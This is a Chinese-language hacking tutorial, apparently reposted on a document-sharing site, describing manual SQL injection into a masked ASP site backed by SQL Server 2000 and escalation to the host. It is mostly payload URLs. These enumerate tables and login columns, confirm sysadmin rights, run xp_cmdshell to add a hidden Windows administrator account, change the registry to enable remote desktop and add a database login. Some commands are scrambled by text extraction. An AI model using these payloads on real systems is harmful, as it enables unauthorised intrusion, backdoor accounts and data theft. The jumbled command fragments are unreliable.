MSSQL手工注入并提权 下载本文

内容发布更新时间 : 2024/6/21 14:09:52星期一 下面是文章的全部内容请认真阅读。

MSSQL手工注入并提权

作者:海默

Blog:http://hi.http://www.35331.cn//chjxhyy/

目标站:http://www.xxoo.net

在首页随便点几个链接,加’ 测试是否存在注入 在该链接下报错了。。

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '237' order by pu_id asc' 之前有未闭合的引号。

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237'(为了避免利用搜索引擎搜到,所以隐藏的比较深)

是字符型的。字段后面还有order by 语句,用--注释掉就ok

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and 1=1--正确 http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and 1=2--报错

存在注入,下面习惯性的就是爆表和爆字段。。先查看下基本信息:

查看MSSQL 数据库版本

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and 0<>(select @@version)—

为sql server2000的。

查看当前数据库

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and db_name()>0—

当前库的用户

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and user>0—

是否支持多语句查询

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' ;declare @a int— 可以。。

爆表之前还是先找下目录吧,免得得到账号密码找不到后台,不白瞎了。。 url后面加admin,禁止列目录,

后面加个几个常见的都不对,login.asp 、admin.asp 等等 还是wwwscan扫下吧,

原来是admin_main_asp,点击访问下登陆超时,然后转到了system目录,原来是这个 http://www.xxoo.net/system

Ok,下面爆表吧,第一个

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and (select top 1 name from sysobjects where xtype='u')>0—

第二个、、

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and (select top 1 name from sysobjects where xtype='u' and name not in ('sdlabout'))>0—

以此类推,爆出如下表:

'zxkd','yjcx_qs','yjcx_md','yjcx','t_shop','t_publish','t_project','t_logins','t_functions','t_employee_functions','t_employee','sqyj','shopwin','sdlnews','sdlhome','sdl_member_old','sdl_member','SailingSchedule','sailingdata','SailingAdjustmentInformation','RulesOperating','pu_cp','person','OperationalInformation','online_ly','oldSailingSchedule1','oldRulesOperating1','oldnewyunjia1','newyunjia','new_sailingdate','kouan','katj','IndustryNews','hxjx','FeeAdjustmentInformation','execlname','exceldata','dtxx','dtproperties','dcnews','dcmember','dc_sft','dc_sf','dc_jbxx','dc_hy','dc_hw','dc_gk','dc_gg_hw','dc_gg','sdlabout','AgentNetwork','aucclass','cusinfo' 尼玛,不少啊,累死了。那个是管理表呢,t_logins比较像,就它了

爆字段!

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' col_name(object_id('t_logins'),1) from sysobjects)>0--

and (select top 1

然后依次爆出:login_name login_password

心里还挺高兴,结果就悲剧了,爆内容的时候居然什么都没有,空表?!

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and (select top 1 login_name from [t_logins])>0--

看前面的表,就t_logins还沾边,其他的也懒得试了。。想其他办法咯。

我首先想到了备份拿shell,因为前面显示的用户为dbo,但是问题是不知道路径啊。

翻着自己收集的sql语句,看到一句and 1=(select is_srvrolemember('sysadmin'))— 判断数据库用户名是否拥有比较高的权限。

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' is_srvrolemember('sysadmin'))—

and

1=(select

Sa权限!!

接着又来了一句:and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- 还真是sa权限。我晕前面我怎么没式一下呢。

Sa就比较好办了。。

首先看看xp_cmdshell存储过程

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' and 1=(select master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')—

count(*)

from

哈哈,存在。 直接加用户啦。

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237';exec hmhk$ haimohk /add'—

此时,又出现错误:

无法装载 DLL x 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。) 百度了一下,说是由于SQL2000的SA密码过于简单导致。

http://hi.http://www.35331.cn//mlm_mlm/blog/item/30eb9422672d84e6d7cae296.html

按着方法,问题解决了,继续加

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237';exec master..xp_cmdshell 'net user hmhk$ haimohk /add'—

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237';exec master..xp_cmdshell ‘net localgroup

master..xp_cmdshell

'net

user

administrators hmhk$ /add’ 但出现错误了,不知道加上没。

Mstsc登陆下试试。

这可如何是好。。

莫非没开,还是端口改了。

执行下命令开启3389,

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237';exec HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\REG_DWORD /d 0 /f’

master..xp_cmdshell

/v

‘REG

ADD /t

\fDenyTSConnections

再连还是那样。去读端口也没回显啊,又傻了。

想了一会,突然想到可以加一个sa权限的数据库用户啊,然后sqlTools连接,又可以做很多事情了,嘎嘎、

http://www.xxoo.net/directory/xxoo.ASP?xx_ID=237' adm1n,haimohk

exec

master.dbo.sp_addlogin